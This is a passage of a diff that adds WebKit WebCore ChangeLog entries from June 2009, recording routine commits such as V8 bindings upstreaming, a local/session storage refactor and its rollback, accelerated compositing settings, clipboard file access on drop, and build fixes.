+
+        Add V8-only methods to FrameLoaderClient that V8 can use to send
+        out notifications when it creates/destroys a script context.
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::didCreateScriptContext):
+        (WebCore::EmptyFrameLoaderClient::didDestroyScriptContext):
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::didCreateScriptContext):
+        (WebCore::FrameLoaderClient::didDestroyScriptContext):
+
+2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by David Levin.
+
+        Correct a few typos that snuck in when I was reformatting CodeGeneratorV8.pm
+        to match WebKit style.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Corrected lots of typos.
+
+2009-06-25  Adam Langley  <agl@google.com>
+
+        TBRed: fix for Chromium tree.
+
+        Add missing include for r45199.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26736
+
+        r45199 added a reference to throwError without including V8Proxy.h
+
+        * bindings/v8/WorkerScriptController.cpp:
+
+2009-06-25  Adam Langley  <agl@google.com>
+
+        TBRed: fix for Chromium tree.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26735
+
+        Fix V8IsolatedWorld to point to the correct include file.
+
+        The deprecated v8_index.h was removed from the Chromium tree in r19291
+        and upstreamed into WebKit with r45193. However V8IsolatedWorld
+        slipped in between the cracks and broke the build.
+
+        * bindings/v8/V8IsolatedWorld.h: update with new header location.
+
+2009-06-25  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26651
+        
+        Preference is named "WebKitAcceleratedCompositingEnabled"
+        and is a boolean value. When false, prevents compositing layers from
+        being created, which prevents hardware animation from running.
+        Also forces video to do software rendering. Added a cache for
+        the flag in RenderLayerCompositing and made it all work
+        on-the-fly when the flag is changed while a page is loaded.
+
+        * WebCore.base.exp:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::updateCompositingLayers):
+        * page/Settings.cpp:
+        (WebCore::setNeedsReapplyStylesInAllFrames):
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setAcceleratedCompositingEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::acceleratedCompositingEnabled):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::hasAcceleratedCompositing):
+        (WebCore::RenderLayer::updateTransform):
+        (WebCore::RenderLayer::currentTransform):
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateLayerTransform):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::RenderLayerCompositor):
+        (WebCore::RenderLayerCompositor::enableCompositingMode):
+        (WebCore::RenderLayerCompositor::cacheAcceleratedCompositingEnabledFlag):
+        (WebCore::RenderLayerCompositor::updateCompositingLayers):
+        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+        (WebCore::RenderLayerCompositor::needsToBeComposited):
+        (WebCore::RenderLayerCompositor::destroyRootPlatformLayer):
+        * rendering/RenderLayerCompositor.h:
+        (WebCore::RenderLayerCompositor::hasAcceleratedCompositing):
+        * rendering/RenderObject.h:
+        (WebCore::makeMatrixRenderable):
+
+2009-06-25  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Bug 26701: Implement the missing code for "FIXME: Need to return an
+        exception" in WorkerScriptController::evaluate for v8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=26701
+
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::evaluate):
+
+2009-06-25  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Upstream V8Index.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26495
+
+        * bindings/v8/V8Index.cpp: Added.
+        (WebCore::V8ClassIndex::GetFactory): Moved from src.chromium.org.
+        (WebCore::V8ClassIndex::GetCache): Moved from src.chromium.org.
+        * bindings/v8/V8Index.h:
+        (WebCore::V8ClassIndex::): Moved from src.chromium.org.
+        (WebCore::V8ClassIndex::ToInt): Moved from src.chromium.org.
+        (WebCore::V8ClassIndex::FromInt): Moved from src.chromium.org.
+
+2009-06-25  Adam Langley  <agl@google.com>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26529
+
+        This is hopefully the last step before our renderers can run
+        cleanly in a chroot.
+
+        WebKit needs to be able to ask for the correct font to use in
+        the case that the current font doesn't include glyphs for
+        certain code points. Currently we make a fontconfig call in our
+        WebKit port to handle this.
+
+        This patch changes this so that the call is sent our via
+        ChromiumBridge.
+
+        http://codereview.chromium.org/132007
+
+        This should not affect any layout tests.
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/graphics/chromium/FontCacheLinux.cpp:
+        (WebCore::FontCache::getFontDataForCharacters):
+
+2009-06-25  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26566
+        Upstream these files from the chromium v8 code.  No tests were
+        affected because this is essentially a code move.
+
+        * bindings/v8/NPV8Object.cpp: Added.
+        (allocV8NPObject):
+        (freeV8NPObject):
+        (listFromVariantArgs):
+        (npIdentifierToV8Identifier):
+        (npCreateV8ScriptObject):
+        (NPN_Invoke):
+        (NPN_InvokeDefault):
+        (NPN_Evaluate):
+        (NPN_EvaluateHelper):
+        (NPN_GetProperty):
+        (NPN_SetProperty):
+        (NPN_RemoveProperty):
+        (NPN_HasProperty):
+        (NPN_HasMethod):
+        (NPN_SetException):
+        (NPN_Enumerate):
+        (NPN_Construct):
+        * bindings/v8/NPV8Object.h: Added.
+        (PrivateIdentifier::):
+        * bindings/v8/V8NPUtils.cpp: Added.
+        (convertV8ObjectToNPVariant):
+        (convertNPVariantToV8Object):
+        (getStringIdentifier):
+        * bindings/v8/V8NPUtils.h: Added.
+
+2009-06-25  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26436
+
+        Windows Chromium bug fix: save context of destination canvas in
+        TransparencyWin::compositeTextComposite() before the function
+        modifies the context.
+
+        Test: fast/canvas/translate-text.html
+
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::compositeTextComposite):
+
+2009-06-25  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Show the filename and first line for "(program)" in the Profiler/Debugger
+        https://bugs.webkit.org/show_bug.cgi?id=25475
+
+        Add support to associate a sourceURL with an eval()'d string
+        via a @sourceURL comment.  Currently the sourceURL is only available
+        in the script debugger, not in the console or profiler, but it's
+        most needed in the script debugger.
+
+        * English.lproj/localizedStrings.js: added new "(program): %s" string
+        * inspector/front-end/Script.js:
+        (WebInspector.Script): if no sourceURL is available for the Script,
+        search for a comment of the form //@ sourceURL=(url) to use
+        as the sourceURL instead.
+        * manual-tests/inspector/named-evals.html: Added.
+
+2009-06-25  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Sam Weinig.
+
+        Bug 23721: Changing dropdown's selectedIndex within onchange handler fires another onchange
+        https://bugs.webkit.org/show_bug.cgi?id=23721
+
+        onchange events fire when a SELECT element has
+        focus and the selectedIndex is updated by script in some way--either
+        during another onchange, onkeypress, onfocus, or timer--and then
+        focus is lost. 
+
+        Fixed by making a separate method for user-driven selectedIndex 
+        changes, leaving scripts to use one which doesn't cause onchange to
+        be queued.
+        
+        Test: fast/forms/select-script-onchange.html
+
+        * dom/SelectElement.cpp: check if the pending change is user driven
+        before calling onchange
+        (WebCore::SelectElement::menuListOnChange):
+        (WebCore::SelectElement::setSelectedIndex):
+        * dom/SelectElement.h: store whether the pending change is user driven
+        (WebCore::SelectElementData::userDrivenChange):
+        (WebCore::SelectElementData::setUserDrivenChange):
+        * html/HTMLSelectElement.cpp: split into two methods -- script version
+        [non-user-driven] corresponds to IDL defined property name
+        (WebCore::HTMLSelectElement::setSelectedIndex):
+        (WebCore::HTMLSelectElement::setSelectedIndexByUser):
+        * html/HTMLSelectElement.h: 
+        * rendering/RenderMenuList.cpp: use ByUser method when coming through
+        the renderer
+        (WebCore::RenderMenuList::valueChanged):
+
+2009-06-25  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26698
+
+        Combined LocalStorageArea and SessionStorageArea into StorageArea since
+        (after my other refactorings) there are no longer substantial
+        differences between the two.
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/LocalStorage.cpp:
+        (WebCore::LocalStorage::storageArea):
+        * storage/LocalStorage.h:
+        * storage/LocalStorageArea.cpp: Removed.
+        * storage/LocalStorageArea.h: Removed.
+        * storage/SessionStorage.cpp:
+        (WebCore::SessionStorage::copy):
+        (WebCore::SessionStorage::storageArea):
+        * storage/SessionStorage.h:
+        * storage/SessionStorageArea.cpp: Removed.
+        * storage/SessionStorageArea.h: Removed.
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::createLocalStorage):
+        (WebCore::StorageArea::StorageArea):
+        (WebCore::StorageArea::createSessionStorage):
+        (WebCore::StorageArea::copy):
+        (WebCore::StorageArea::setItem):
+        (WebCore::StorageArea::removeItem):
+        (WebCore::StorageArea::clear):
+        (WebCore::StorageArea::scheduleFinalSync):
+        (WebCore::StorageArea::blockUntilImportComplete):
+        (WebCore::StorageArea::dispatchStorageEvent):
+        * storage/StorageArea.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        (WebCore::StorageAreaSync::syncTimerFired):
+        (WebCore::StorageAreaSync::performImport):
+        * storage/StorageAreaSync.h:
+        * storage/StorageSyncManager.h:
+
+2009-06-25  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=26671
+          <rdar://problem/7001880> Safari 4.0 crashes in
+          WebCore::DOMTimer::fired()
+
+        Test: fast/dom/style-sheet-candidate-remove-unrendered-document.html
+
+        When a "style sheet candidate" element is removed from a document,
+        call Document::removeStyleSheetCandidateNode() regardless of whether
+        the document is rendered. Otherwise, the document's style sheet
+        candidate set can end up containing stale references.
+
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::removedFromDocument):
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::removedFromDocument):
+        * html/HTMLStyleElement.cpp:
+        (WebCore::HTMLStyleElement::removedFromDocument):
+
+2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Update CodeGeneratorV8.pm to sync up with the changes downstream.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added HTMLFrameSetElement check,
+          FileList as a ref-counted type, and DataGridColumn as typeCanFailConversion.
+
+2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        Add FileList.h include to fix Chromium build.
+
+        * platform/chromium/ClipboardChromium.cpp: Added FileList.h include.
+
+2009-06-25  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        Bug 26489: Web Inspector: Typo in DatabaseQuery Error Message
+        https://bugs.webkit.org/show_bug.cgi?id=26489
+
+        Fixed a Typo in a Web Inspector error message.
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView.prototype._queryError):
+
+2009-06-25  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Fix the Qt build, add missing StorageAreaSync files to the build.
+
+        * WebCore.pro:
+
+2009-06-25  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by and done with Tor Arne Vestbø.
+
+        Fix shortcut keyboard handling with plugins on the Qt/Mac build.
+
+        When we receive shortcut events like Ctrl+V then the text in the QKeyEvent is
+        empty. If we're asked to disambiguate the event into a Char keyboard event,
+        we try to detect this situation and still set the text, to ensure that the
+        general event handling sends a key press event after this disambiguation.
+
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+
+2009-06-25  Eric Seidel  <eric@webkit.org>
+
+        Build fix only, no review.
+
+        Add FileList.h and NotImplemented.h includes in an attempt to fix bots.
+
+        * platform/gtk/ClipboardGtk.cpp:
+        * platform/qt/ClipboardQt.cpp:
+        * platform/win/ClipboardWin.cpp:
+        * platform/wx/ClipboardWx.cpp:
+
+2009-05-21  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Expose files in the clipboard in ondrop events
+        https://bugs.webkit.org/show_bug.cgi?id=25916
+
+        Make it possible for applications like gmail to implement
+        drag and drop of attachments onto email messages.
+
+        This patch exposes an event.dataTransfer.files accessor
+        on the drop event.  No information is exposed during dragover.
+        This follows the HTML 5 drag and drop security model:
+        http://www.w3.org/TR/html5/editing.html#security-risks-in-the-drag-and-drop-model
+        The test http/tests/security/clipboard/clipboard-file-access.html
+        verifies this behavior.
+
+        Internet Explorer shows historical documentation of supporting
+        getData('File') as a way of exposing files on the pasteboard.  The current version of their docs:
+        http://msdn.microsoft.com/en-us/library/ms537658(VS.85).aspx
+        has removed this reference (as far as I can tell IE never implemented it)
+        I have a printed copy of that URL from 2008 on my desk describing getData('File') in IE.
+        IE does not follow the HTML5 clipboard security model and always allows access to the full clipboard, even on dragover.
+
+        I choose not to use IE's getData('File') and instead added .files
+        so that the accessor could have a type, matching WebKit's existing
+        .files accessor on HTMLInputElement.
+
+        Mozilla has equivalent file access:
+        event.dataTransfer.mozGetDataAt("application/x-moz-file", 0);
+        which also does not return a typed value.
+        https://developer.mozilla.org/En/DragDrop/Recommended_Drag_Types#Dragging_Files
+
+        This is only implemented for Mac WebKit.  All other platforms (including Apple's Win WebKit)
+        have incomplete Clipboard implementations and will require experts from those platforms
+        to add this functionality.  Right now they all have Clipboard*::files() methods which call notImplemented();
+
+        Test: http/tests/security/clipboard/clipboard-file-access.html
+
+        * dom/Clipboard.h:
+        * dom/Clipboard.idl:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::files):
+        * platform/chromium/ClipboardChromium.h:
+        * platform/gtk/ClipboardGtk.cpp:
+        (WebCore::ClipboardGtk::files):
+        * platform/gtk/ClipboardGtk.h:
+        * platform/mac/ClipboardMac.h:
+        * platform/mac/ClipboardMac.mm:
+        (WebCore::absoluteURLsFromPasteboardFilenames):
+        (WebCore::absoluteURLsFromPasteboard):
+        (WebCore::ClipboardMac::files):
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::files):
+        * platform/qt/ClipboardQt.h:
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::files):
+        * platform/win/ClipboardWin.h:
+        * platform/wx/ClipboardWx.cpp:
+        (WebCore::ClipboardWx::files):
+        * platform/wx/ClipboardWx.h:
+
+2009-06-25  Eric Seidel  <eric@webkit.org>
+
+        No review, only completing revert of r45144.
+
+        Add back files deleted by r45144.
+
+        * storage/LocalStorageArea.cpp: Added.
+        (WebCore::LocalStorageArea::create):
+        (WebCore::LocalStorageArea::LocalStorageArea):
+        (WebCore::LocalStorageArea::scheduleFinalSync):
+        (WebCore::LocalStorageArea::itemChanged):
+        (WebCore::LocalStorageArea::itemRemoved):
+        (WebCore::LocalStorageArea::areaCleared):
+        (WebCore::LocalStorageArea::blockUntilImportComplete):
+        (WebCore::LocalStorageArea::dispatchStorageEvent):
+        * storage/LocalStorageArea.h: Added.
+        * storage/SessionStorageArea.cpp: Added.
+        (WebCore::SessionStorageArea::copy):
+        (WebCore::SessionStorageArea::SessionStorageArea):
+        (WebCore::SessionStorageArea::itemChanged):
+        (WebCore::SessionStorageArea::itemRemoved):
+        (WebCore::SessionStorageArea::areaCleared):
+        (WebCore::SessionStorageArea::blockUntilImportComplete):
+        (WebCore::SessionStorageArea::dispatchStorageEvent):
+        * storage/SessionStorageArea.h: Added.
+        (WebCore::SessionStorageArea::create):
+
+2009-06-25  Eric Seidel  <eric@webkit.org>
+
+        No review, reverting r45144 only.
+
+        Roll out r45144 after 18 test failures appeared on the bots.
+        https://bugs.webkit.org/show_bug.cgi?id=26698
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/LocalStorage.cpp:
+        (WebCore::LocalStorage::storageArea):
+        * storage/LocalStorage.h:
+        * storage/SessionStorage.cpp:
+        (WebCore::SessionStorage::copy):
+        (WebCore::SessionStorage::storageArea):
+        * storage/SessionStorage.h:
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::StorageArea):
+        (WebCore::StorageArea::~StorageArea):
+        (WebCore::StorageArea::setItem):
+        (WebCore::StorageArea::removeItem):
+        (WebCore::StorageArea::clear):
+        * storage/StorageArea.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        (WebCore::StorageAreaSync::syncTimerFired):
+        (WebCore::StorageAreaSync::performImport):
+        * storage/StorageAreaSync.h:
+        * storage/StorageSyncManager.h:
+
+2009-06-24  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26698
+
+        Combined LocalStorageArea and SessionStorageArea into StorageArea since
+        (after my other refactorings) there are no longer substantial
+        differences between the two.
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/LocalStorage.cpp:
+        (WebCore::LocalStorage::storageArea):
+        * storage/LocalStorage.h:
+        * storage/LocalStorageArea.cpp: Removed.
+        * storage/LocalStorageArea.h: Removed.
+        * storage/SessionStorage.cpp:
+        (WebCore::SessionStorage::copy):
+        (WebCore::SessionStorage::storageArea):
+        * storage/SessionStorage.h:
+        * storage/SessionStorageArea.cpp: Removed.
+        * storage/SessionStorageArea.h: Removed.
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::createLocalStorage):
+        (WebCore::StorageArea::StorageArea):
+        (WebCore::StorageArea::createSessionStorage):
+        (WebCore::StorageArea::copy):
+        (WebCore::StorageArea::setItem):
+        (WebCore::StorageArea::removeItem):
+        (WebCore::StorageArea::clear):
+        (WebCore::StorageArea::scheduleFinalSync):
+        (WebCore::StorageArea::blockUntilImportComplete):
+        (WebCore::StorageArea::dispatchStorageEvent):
+        * storage/StorageArea.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        (WebCore::StorageAreaSync::syncTimerFired):
+        (WebCore::StorageAreaSync::performImport):
+        * storage/StorageAreaSync.h:
+        * storage/StorageSyncManager.h:
+
+2009-06-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        - fix <rdar://problem/7001817> REGRESSION (r41902): Base position track
+          at UCSC Genome Browser doesn't work because image map prevents img
+          from hit-testing
+
+        Test: fast/replaced/image-map-2.html
+
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::nodeAtPoint): Do not reset 'inside' to false if
+        the image map failed the hit test.
+
+2009-06-22  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26366
+
+        Refactor V8DOMMap to support isolated worlds.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInNewWorld):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::DOMDataStore::InternalDOMWrapperMap::InternalDOMWrapperMap):
+        (WebCore::DOMDataStore::allStores):
+        (WebCore::DOMDataStore::allStoresMutex):
+        (WebCore::DOMDataStore::domData):
+        (WebCore::ScopedDOMDataStore::ScopedDOMDataStore):
+        (WebCore::ScopedDOMDataStore::~ScopedDOMDataStore):
+        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
+        (WebCore::):
+        (WebCore::MainThreadDOMData::MainThreadDOMData):
+        (WebCore::MainThreadDOMData::getStore):
+        (WebCore::ChildThreadDOMData::ChildThreadDOMData):
+        (WebCore::ChildThreadDOMData::getStore):
+        (WebCore::DOMDataStore::DOMDataStore):
+        (WebCore::DOMDataStore::~DOMDataStore):
+        (WebCore::DOMDataStoreHandle::DOMDataStoreHandle):
+        (WebCore::DOMDataStoreHandle::~DOMDataStoreHandle):
+        (WebCore::forget):
+        (WebCore::getDOMNodeMap):
+        (WebCore::getDOMObjectMap):
+        (WebCore::getActiveDOMObjectMap):
+        (WebCore::getDOMSVGElementInstanceMap):
+        (WebCore::getDOMSVGObjectWithContextMap):
+        (WebCore::DOMData::getCurrent):
+        (WebCore::DOMData::handleWeakObject):
+        (WebCore::DOMData::ensureDeref):
+        (WebCore::weakDOMObjectCallback):
+        (WebCore::weakActiveDOMObjectCallback):
+        (WebCore::weakNodeCallback):
+        (WebCore::weakSVGElementInstanceCallback):
+        (WebCore::weakSVGObjectWithContextCallback):
+        (WebCore::DOMData::derefObject):
+        (WebCore::DOMData::derefDelayedObjects):
+        (WebCore::DOMData::derefDelayedObjectsInCurrentThread):
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        (WebCore::removeAllDOMObjectsInCurrentThreadHelper):
+        (WebCore::visitDOMNodesInCurrentThread):
+        (WebCore::visitDOMObjectsInCurrentThread):
+        (WebCore::visitActiveDOMObjectsInCurrentThread):
+        (WebCore::visitDOMSVGElementInstancesInCurrentThread):
+        (WebCore::visitSVGObjectsInCurrentThread):
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::DOMDataStoreHandle::getStore):
+        * bindings/v8/V8IsolatedWorld.cpp: Added.
+        (WebCore::getIsolatedWorldKey):
+        (WebCore::contextWeakReferenceCallback):
+        (WebCore::V8IsolatedWorld::evaluate):
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        (WebCore::V8IsolatedWorld::~V8IsolatedWorld):
+        (WebCore::V8IsolatedWorld::getEntered):
+        * bindings/v8/V8IsolatedWorld.h: Added.
+        (WebCore::V8IsolatedWorld::getDOMDataStore):
+
+2009-06-24  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Bug 26604: Search doesn't work in Web Inspector Profiler
+        https://bugs.webkit.org/show_bug.cgi?id=26604
+
+        Seems like search was damaged in revision 42808.
+
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView.prototype.refresh):
+        Here and in other functions: nodes we're searching in are profile data grid
+        nodes, so there is no more need for '_dataGridNode' references.
+        (WebInspector.ProfileView.prototype.searchCanceled):
+        (WebInspector.ProfileView.prototype.performSearch.matchesQuery):
+        Fixed accidental semicolon that caused 'matchesQuery' always return true.
+        (WebInspector.ProfileView.prototype.performSearch):
+        To perform search correctly in the case of bottom up tree, we need to populate
+        the tree, because there's no 1-to-1 correspondence between profile nodes and
+        data grid nodes in this case.
+        (WebInspector.ProfileView.prototype._jumpToSearchResult):
+
+2009-06-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+        
+        <rdar://problem/6450239&6574516>
+    
+        Fix flashing issues caused by compositing layers rendering content before
+        a deferred layout has happened. Because the -viewWillDraw machinery doesn't
+        work for composited layers, we need to use scheduleViewUpdate() to queue
+        up a layout via the run loop observer in WebKit, whenever we know we
+        are going to be painting soon.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::setContentsNeedDisplay):
+        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
+
+2009-06-24  David Levin  <levin@chromium.org>
+
+        Fix all builds.
+
+        * ForwardingHeaders/wtf/FastAllocBase.h: Added.
+
+2009-06-24  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26658
+
+        Split the syncing portions of LocalStorageArea into StorageAreaSync.
+        This name will make more sense in the next patch (in this set) when
+        LocalStorageArea and SessionStorageArea are merged to become simply
+        StorageArea.  (Thus the synching portion of StorageArea is in
+        StorageAreaSync.)
+
+        This looks like a big patch, but really all it's doing is splitting
+        code and patching split-related things up.
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/LocalStorageArea.cpp:
+        (WebCore::LocalStorageArea::create):
+        (WebCore::LocalStorageArea::LocalStorageArea):
+        (WebCore::LocalStorageArea::scheduleFinalSync):
+        (WebCore::LocalStorageArea::itemChanged):
+        (WebCore::LocalStorageArea::itemRemoved):
+        (WebCore::LocalStorageArea::areaCleared):
+        (WebCore::LocalStorageArea::blockUntilImportComplete):
+        * storage/LocalStorageArea.h:
+        * storage/LocalStorageTask.cpp:
+        (WebCore::LocalStorageTask::LocalStorageTask):
+        * storage/LocalStorageTask.h:
+        (WebCore::LocalStorageTask::createImport):
+        (WebCore::LocalStorageTask::createSync):
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::scheduleImport):
+        (WebCore::LocalStorageThread::scheduleSync):
+        * storage/LocalStorageThread.h:
+        * storage/SessionStorageArea.cpp:
+        (WebCore::SessionStorageArea::blockUntilImportComplete):
+        * storage/SessionStorageArea.h:
+        * storage/StorageArea.h:
+        * storage/StorageAreaSync.cpp: Copied from WebCore/storage/LocalStorageArea.cpp.
+        * storage/StorageAreaSync.h: Copied from WebCore/storage/LocalStorageArea.h.
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h:
+
+2009-06-24  Adam Treat  <adam.treat@torchmobile.com>
+
+        Fix Qt build.
+
+        * WebCore.pro:
+
+2009-06-24  David Levin  <levin@chromium.org>
+
+        Reviewed by David Hyatt.
+
+        Bug 26696: Member functions in DataGridColumnList should return pointers instead of PassRefPtr.
+        https://bugs.webkit.org/show_bug.cgi?id=26696
+
+        * html/DataGridColumnList.cpp:
+        (WebCore::DataGridColumnList::itemWithName):
+        (WebCore::DataGridColumnList::add):
+        * html/DataGridColumnList.h:
+        (WebCore::DataGridColumnList::item):
+        (WebCore::DataGridColumnList::primaryColumn):
+        (WebCore::DataGridColumnList::sortColumn):
+
+2009-06-24  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dave "Messy" Hyatt.
+
+        Little bit of style cleanup.
+
+        * html/DataGridColumn.cpp:
+        * html/DataGridColumn.h:
+        * html/DataGridColumn.idl:
+        * html/DataGridColumnList.cpp:
+        * html/DataGridColumnList.h:
+        * html/DataGridColumnList.idl:
+        * html/HTMLDataGridCellElement.cpp:
+        * html/HTMLDataGridCellElement.h:
+        * html/HTMLDataGridCellElement.idl:
+        * html/HTMLDataGridColElement.cpp:
+        * html/HTMLDataGridColElement.h:
+        * html/HTMLDataGridColElement.idl:
+        * html/HTMLDataGridElement.h:
+        * html/HTMLDataGridElement.idl:
+        * html/HTMLDataGridRowElement.cpp:
+        * html/HTMLDataGridRowElement.h:
+        * html/HTMLDataGridRowElement.idl:
+
+2009-06-24  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 26668: AX: need a way to retrieve the language for an element
+        
+        Provides a way to retrieve the language associated with a specific accessibility element.
+
+        Test: accessibility/language-attribute.html
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::language):
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::language):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+
+2009-06-24  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Dan Bernstein.
+        
+        <rdar://problem/6893811> Instead of downloading files linked from Google Earth, file contents displayed in browser window as text.
+
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (createBinaryExtensionsSet): Add '.kmz' to the list of known-to-be-binary extensions.
+
+2009-06-24  Nicolas Weber  <thakis@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26685
+        Accomodate for backwards-incompatible skia api changes.
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::setCompositeOperation):
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::paintSkBitmap):
+        (WebCore::Image::drawPattern):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::State::State):
+        (PlatformContextSkia::setupPaintCommon):
+        (PlatformContextSkia::setXfermodeMode):
+        (PlatformContextSkia::applyClipFromImage):
+        * platform/graphics/skia/PlatformContextSkia.h:
+        * platform/graphics/skia/SkiaUtils.cpp:
+        (WebCore::):
+        (WebCore::WebCoreCompositeToSkiaComposite):
+        * platform/graphics/skia/SkiaUtils.h:
+
+2009-06-24  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
